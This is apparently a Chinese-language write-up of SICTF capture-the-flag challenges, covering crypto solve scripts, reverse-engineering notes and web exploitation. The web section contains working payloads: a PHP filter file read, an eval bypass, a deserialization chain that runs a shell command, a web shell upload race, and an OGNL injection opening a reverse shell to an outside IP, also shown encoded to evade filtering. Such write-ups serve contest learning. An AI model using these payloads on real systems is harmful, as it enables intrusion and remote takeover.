if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(' ')
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)
dat = []
def getSpace():
for index, x in enumerate(c):
res = [strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
message = """1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218
3769373b66142f31297f291126410e042b01162d59103a0c005221075013
37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e
7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618
7d69143c23156d18392b35183141310e3b49213613590003453a291a555d
36273731341e297424372454230e0c0f2c49127f005f020245112718545d
26396320295b2531227161273c04430f360d533118444e0f0b1d31554615
323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19
733e222766152220703e27063508074b300f53371e5d40444735291a555d
37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d""".split()
c = [binascii.unhexlify(x.encode()) for x in message]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(ch)
know(0,24,'r')
know(0,28,'s')
know(1,16,'t')
know(9,12,'L')
know(8,10,'f')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
flag = strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(flag)
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b'SICTF{MTP_AtTack_is_w0nderFu1}'
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Easy_CopperSmith
p高位泄露
不过稍微少三位，爆破得p
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# sage
from Crypto.Util.number import long_to_bytes
from sage.all import *
def cop(leak):
n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381
p4= Integer(leak)
e = 0x10001
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits() )
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print ("n: ", n)
print ("p: ", p)
print ("q: ", n/p)
flag = long_to_bytes(int(pow(c,inverse_mod(e,(p-1)*((n/p)-1)),n)))
if b'SICTF' in flag:
print(flag.decode())
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810
for i in range(2*8):
leak_ = int(bin(6833525680083767201563383553257365403889275861180069149272377788671845720921410137177)+"{:03b}".format(i),2)
cop(leak_)
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或者改epsilon也行
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SICTF{3f9366ed-b8e4-412f-bbd0-62616a24115c}
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签到题来咯！
Franklin Reiter攻击
e是10bit的prime，爆破一下
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# sage
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931
a=114
b=2333
c=514
d=4555
import libnum
def franklinReiter(n,e,c1,c2,a,b,c,d):
R.<X> = PolynomialRing(Zmod(n))
f1 = (X*a+ b)^e - c1
f2 = (X*c+ d)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
for i in trange(2**9,2**10):
if isPrime(i):
e = i
m=franklinReiter(n,e,c1,c2,a,b,c,d)
flag = libnum.n2s(int(m))
if b"SICTF" in flag:
print('e=',e)
print(flag.decode())
break
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SICTF{hhh!!franklin_reiter_is_easy}
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small_e
m高位泄露，怎么全是coppersmith
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# sage
from Crypto.Util.number import isPrime
from tqdm import trange
def attack(c1, c2, n, e):
PR.<x>=PolynomialRing(Zmod(n))
g1 = (114*x+2333)^e - c1
g2 = (514*x+4555)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931
for e in trange(2**9,2**10):
if isPrime(e)==False:
continue
flag = bytes.fromhex(hex(attack(c1, c2, n, e))[2:])
if b"SICTF" in flag:
print(flag)
break
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92%|█████████▏| 471/512 [00:42<00:03, 10.99it/s]
b'SICTF{hhh!!franklin_reiter_is_easy}'
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easy_math
gcd取公因数
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from gmpy2 import gcd,invert
from itertools import product
from tqdm import tqdm
n = 68123067052840097285002963401518347625939222208495512245264898037784706226045178539672509359795737570458454279990340789711761542570505016930986418403583534761200927746744298082254959321108829717070206277856970403191060311901559017372393931121345743640657503994132925993800497309703877076541759570410784984067
hint1 = 564294243979930441832363430202216879765636227726919016842676871868826273613344463155168512928428069316237289920953421495330355385445649203238665802121198919543532254290185502622234014832349396422316629991217252686524462096711723580
hint2 = 484307144682854466149980416084532076579378210225500554261260145338511061452958092407101769145891750844383042274498826787696953308289632616886162073232218214504005935332891893378072083589751354946391146889055039887781077066257013110
c = 57751903193610662622957432730720223801836323458721550133101805763463060486486266309568004721657732742899781400754207249733137375171400440423755473421971160000575072519031824740691618617905549725344323721903857290320737224300672847773455169809689188843070599176261204013341324705808617411345132933937680951713
e = 65537
bar = tqdm(total=(1<<12)**2)
for x1, x2 in tqdm(product(range(1<<12,1<<13), repeat=2)):
q = gcd(hint1*x1 -hint2*x2,n)
bar.update(1)
if q != 1:
print('q=',q)
break
p = n//q
phi_n = (p-1)*(q-1)
d = invert(e, phi_n)
print(bytes.fromhex(hex(pow(c, d, n))[2:]))
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b'SICTF{452aebb6-9c16-441a-ac42-fc608bf6063f}'
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pwn
[签到]Shop
整数溢出
输个负数就行
reverse
[签到]PYC
pyc逆向，或者直接文本编辑器打开也行
或者直接运行
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SICTF{07e278e7-9d66-4d90-88fc-8bd61e490616}
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Myobject
rc4
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def rc4_main(key = "init_key", plain = "init_message"): #主函数
s_box = rc4_init_sbox(key)
crypt = rc4_encrypt(plain, s_box)
return crypt
from Crypto.Cipher import ARC4
def rc4_init_sbox(key): #初始化sbox
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_encrypt(plain, box): #rc4解密
res = []
i = j = 0
for s in plain:
if s <= 0:
s = s + 256
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(s ^ k))
cipher = "".join(res)
print("解密后的字符串是： %s" %cipher)
return cipher
if __name__ == '__main__':
# 这里输入数组
data = [ 0x30, 0x27, 0xD3, 0x0E, 0x5A, 0x22, 0xCF, 0x47, 0x47, 0x6B,
0x0B, 0xE5, 0x8D, 0x53, 0xBA, 0x99, 0xC3, 0x85, 0x07, 0x07,
0x01, 0x1C, 0x77, 0x10, 0xFE, 0x88, 0x9F]
key = "SIFLAG"
rc4_main(key, data)
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SICTF{wow_you_get_the_flag}
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chbase
直接都不反编译了，die看字符串
换表b64
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SICTF{base64_and_antidebugger}
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不一样的base64
没注意有啥不一样的
exe逆pyc，直接解base64
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U0lDVEZ7OGUwZDM1OGQtOGI5ZC00ODY2LTliMDItNjc0OWIwN2FkMDlhfQAA
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好像就是把padding换成了A
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SICTF{8e0d358d-8b9d-4866-9b02-6749b07ad09a}
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web
[签到]Include
php伪协议直接读/flag
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?SICTF=php://filter/convert.base64-encode/resource=/flag
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刚开始直接读的flag.php中也有东西，以为有两层
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<?php
$file_path = "/flag";
if (file_exists($file_path)) {
$flag = file_get_contents($file_path);
}
else{
echo "error";
}
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懵逼
Baby_PHP
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<?php
highlight_file(__FILE__);
error_reporting(0);
$query = $_SERVER['QUERY_STRING'];
if (preg_match('/_|%5f|\.|%2E/i', $query)) {
die('You are Hacker!');
}
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){
echo("You are will Win!<br>");
if(isset($_POST['command'])){
$command = $_POST['command'];
if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\（|\）|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
eval($command);
}
else{
echo("You are Hacker!");
}
}
}
else{
echo("K_e_y is Errors!");
}K_e_y is Errors!
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两个原题套起来的
https://blog.csdn.net/weixin_44632787/article/details/118276925
https://blog.csdn.net/HkD01L/article/details/125397361
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POST: command=show_source(next(array_reverse(scandir(pos(localeconv())))));
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RCE
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<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>
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?><?把前面的闭合掉，再执行命令就好
我全都要
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<?php
highlight_file(__FILE__);
class B{
public $pop;
public $i;
public $nogame;
public function __destruct()
{
if(preg_match("/233333333/",$this->pop)){
echo "这是一道签到题，不能让新生一直做不出来遭受打击";
}
}
public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '<img src=\'R.jpg\'>';
$this->nogame->love();
}
}
public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}
class A{
public $Aec;
public $girl;
public $boy;
public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
$this->Aec->game();
}
}
}
class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象！";
if ($name != "game") {
echo "打游戏去，别想着对象了";
$this->MyLover = clone new B;
}
}
}
if ($_GET["A_B_C"]){
$poc=$_GET["A_B_C"];
unserialize($poc);
}
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开始从__destruct()进入，绕过if后有echo可以触发A中的__toString()，再绕过if可以到game，到B中的game()，没有game()可以触发__call，绕过if后就clone new B;，可以触发__clone()可以执行命令
if都很好绕
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<?php
highlight_file(__FILE__);
class B{
public $pop = '233333333';
public $i = '1';
public $nogame;
}
class A{
public $Aec;
public $girl = 'QNKCDZO' ;
public $boy = '240610708';
}
class P{
public $MyLover;
public $name = '66';
}
$a = new B();
$a ->pop = new A();
$a ->pop ->Aec = new B();
$a ->pop ->Aec -> nogame = new P();
echo serialize($a);
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GET: http://210.44.151.51:10424/?A B C=O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";O:1:"B":3:{s:3:"pop";s:9:"233333333";s:1:"i";s:1:"1";s:6:"nogame";O:1:"P":2:{s:7:"MyLover";N;s:4:"name";s:2:"66";}}s:4:"girl";s:7:"QNKCDZO";s:3:"boy";s:9:"240610708";}s:1:"i";s:1:"1";s:6:"nogame";N;}
post: cmd=system('cat /f*');
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你能跟得上我的speed吗
上传文件后会瞬间被删，而且传马也会被防火墙防住，直接执行命令读取文件然后再访问这个页面就可以
准备两个爆破
要上传的文件2.php
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<?php @eval(system("cat /*"));?>
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用burp一直上传
再开一个Intruder一直访问/uploads/2.php一块开启爆破，有一次上传成功的瞬间执行了命令即可
pain
其他的被队友秒了
Ognl注入
https://xz.aliyun.com/t/10482
直接找一个exp，反弹shell
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(new java.lang.ProcessBuilder(new java.lang.String[]{"sh -i >& /dev/tcp/101.43.85.204/9999 0>&1"})).start()
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绕过用最基础的Unicode绕过就行
Java 语言内部是用Unicode 表示字符，所以Unicode会被自动解析
然后再url编码
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%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0050%5Cu0072%5Cu006F%5Cu0063%5Cu0065%5Cu0073%5Cu0073%5Cu0042%5Cu0075%5Cu0069%5Cu006C%5Cu0064%5Cu0065%5Cu0072%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006E%5Cu0067%5Cu005B%5Cu005D%5Cu007B%5Cu0022%5Cu0073%5Cu0068%5Cu0020%5Cu002D%5Cu0069%5Cu0020%5Cu003E%5Cu0026%5Cu0020%5Cu002F%5Cu0064%5Cu0065%5Cu0076%5Cu002F%5Cu0074%5Cu0063%5Cu0070%5Cu002F%5Cu0031%5Cu0030%5Cu0031%5Cu002E%5Cu0034%5Cu0033%5Cu002E%5Cu0038%5Cu0035%5Cu002E%5Cu0032%5Cu0030%5Cu0034%5Cu002F%5Cu0039%5Cu0039%5Cu0039%5Cu0039%5Cu0020%5Cu0030%5Cu003E%5Cu0026%5Cu0031%5Cu0022%5Cu007D%5Cu0029%5Cu0029%5Cu002E%5Cu0073%5Cu0074%5Cu0061%5Cu0072%5Cu0074%5Cu0028%5Cu0029
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/start?payload=%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0050%5Cu0072%5Cu006F%5Cu0063%5Cu0065%5Cu0073%5Cu0073%5Cu0042%5Cu0075%5Cu0069%5Cu006C%5Cu0064%5Cu0065%5Cu0072%5Cu0028%5Cu006E%5Cu0065%5Cu0077%5Cu0020%5Cu006A%5Cu0061%5Cu0076%5Cu0061%5Cu002E%5Cu006C%5Cu0061%5Cu006E%5Cu0067%5Cu002E%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006E%5Cu0067%5Cu005B%5Cu005D%5Cu007B%5Cu0022%5Cu0073%5Cu0068%5Cu0020%5Cu002D%5Cu0069%5Cu0020%5Cu003E%5Cu0026%5Cu0020%5Cu002F%5Cu0064%5Cu0065%5Cu0076%5Cu002F%5Cu0074%5Cu0063%5Cu0070%5Cu002F%5Cu0031%5Cu0030%5Cu0031%5Cu002E%5Cu0034%5Cu0033%5Cu002E%5Cu0038%5Cu0035%5Cu002E%5Cu0032%5Cu0030%5Cu0034%5Cu002F%5Cu0039%5Cu0039%5Cu0039%5Cu0039%5Cu0020%5Cu0030%5Cu003E%5Cu0026%5Cu0031%5Cu0022%5Cu007D%5Cu0029%5Cu0029%5Cu002E%5Cu0073%5Cu0074%5Cu0061%5Cu0072%5Cu0074%5Cu0028%5Cu0029
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社工
购物之旅
百度识图得flag
1
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SICTF{北京市_顺义区_新顺南大街_北京华联顺义金街购物中心}
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美女姐姐O.o
百度识图得flag
宝塔镇河妖
百度识图得flag
shenghuo2